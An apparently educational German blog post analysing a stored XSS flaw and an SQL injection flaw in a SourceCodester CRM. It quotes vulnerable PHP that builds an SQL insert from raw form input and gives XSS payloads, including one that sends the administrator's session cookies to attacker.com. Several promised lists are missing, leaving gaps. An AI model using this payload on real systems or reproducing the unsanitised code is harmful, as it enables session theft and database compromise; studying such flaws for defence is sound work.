
Bildungsanalyse von CVE-2023-24203 (Stored XSS) und CVE-2023-24204 (SQL Injection) in SourceCodester CRM, mit Ausnutzungsschritten und Abwehrstrategien.
In der sich ständig weiterentwickelnden Landschaft der Cybersicherheit bleiben Webanwendungen ein primäres Ziel für Angreifer, die Schwachstellen ausnutzen wollen. Kürzlich wurden zwei kritische Sicherheitslücken im SourceCodester Simple Customer Relationship Management (CRM) System v1.0 entdeckt: CVE-2023-24203 und CVE-2023-24204. Diese Schwachstellen, die Cross-Site Scripting (XSS) und SQL Injection betreffen, stellen erhebliche Risiken dar, darunter die Ausführung beliebigen Codes und unbefugter Zugriff. Das Verständnis dieser Schwachstellen und ihrer Auswirkungen ist für Entwickler und Sicherheitsexperten unerlässlich, um Systeme vor potenziellen Bedrohungen zu schützen.
Cross-Site Scripting (XSS) ist eine Art von Schwachstelle, die auftritt, wenn eine Webanwendung es Benutzern erlaubt, schädliche Skripte in Webseiten einzuschleusen, die von anderen Benutzern angezeigt werden. Dies kann zu unbefugten Aktionen im Namen des Benutzers, Datendiebstahl und weiterer Ausnutzung führen. XSS-Schwachstellen können in drei Haupttypen unterteilt werden:
SQL Injection ist eine Art von Schwachstelle, die auftritt, wenn ein Angreifer in der Lage ist, SQL-Abfragen zu manipulieren, indem er beliebigen SQL-Code in eine Abfrage einschleust. Dies kann zu unbefugtem Zugriff, Datendiebstahl und anderen böswilligen Aktivitäten führen. SQL Injection tritt typischerweise aufgrund unzureichender Eingabevalidierung und fehlender parametrisierter Abfragen auf. Zu den wichtigsten Auswirkungen von SQL Injection gehören:
In diesem Blogbeitrag werden wir uns mit CVE-2023-24203 und CVE-2023-24204 befassen, die Einzelheiten dieser Schwachstellen, ihre Angriffsvektoren, Auswirkungen und Abwehrstrategien untersuchen. Ein tiefgreifendes Verständnis dieser Schwachstellen ist entscheidend, um Ihre Anwendungen und Daten vor potenziellen Angriffen zu schützen.
SQL-Injection-Schwachstellen sind oft das Ergebnis unzureichender Eingabevalidierung und schlechter Codierungspraktiken. Zu den häufigsten Ursachen gehören:
Cross-Site Scripting (XSS)-Schwachstellen werden typischerweise durch die fehlerhafte Handhabung von Benutzereingaben und -ausgaben verursacht. Häufige Ursachen sind:
CVE-2023-24203 ist eine gespeicherte Cross-Site Scripting (XSS)-Schwachstelle, die in der Komponente get-quote.php des SourceCodester Simple Customer Relationship Management (CRM) System v1.0 gefunden wurde. Diese Schwachstelle ermöglicht es einem Angreifer, bösartige Skripte in die Parameter company und query einzuschleusen, die dann in der Datenbank gespeichert und bei Ansicht durch einen Administrator ausgeführt werden, was zur Ausführung beliebigen Codes führt.
Die Schwachstelle befindet sich im Skript get-quote.php, das Benutzereingaben aus einem Angebotsanforderungsformular verarbeitet. Der PHP-Quellcode ist unten dargestellt:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
Das Skript übernimmt Benutzereingaben aus dem Formular (Name, E-Mail, Kontakt, Unternehmen, Dienstleistungen, Sonstiges und Anfrage) und bindet sie direkt in eine SQL-Abfrage ein, um die Daten in der Datenbank zu speichern. Während die Eingabe services mit mysqli_real_escape_string und addslashes bereinigt wird, werden die Parameter company und query nicht ordnungsgemäß bereinigt oder kodiert, wenn sie in der Antwort zurückgegeben werden. Dieser Mangel an ordnungsgemäßer Bereinigung und Kodierung ermöglicht das Einschleusen und Speichern bösartiger Skripte in der Datenbank.
Um diese Schwachstelle auszunutzen, kann ein Angreifer eine Payload erstellen, die schädlichen JavaScript-Code im Parameter company oder query enthält. Wenn der Administrator die Angebotsanfrage ansieht, wird das eingeschleuste Skript in seinem Browser ausgeführt.
Durch das Absenden der folgenden Payload im Parameter query:
<script>alert('XSS');</script>
Kann der Angreifer einen XSS-Angriff auslösen, wenn der Administrator die Angebotsanfrage ansieht.
Eine schädlichere Payload kann erstellt werden, um die Sitzungscookies des Administrators zu stehlen. Durch die Verwendung der folgenden Payload im Parameter query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
Kann der Angreifer die Cookies des Administrators an einen von ihm kontrollierten Remote-Server senden.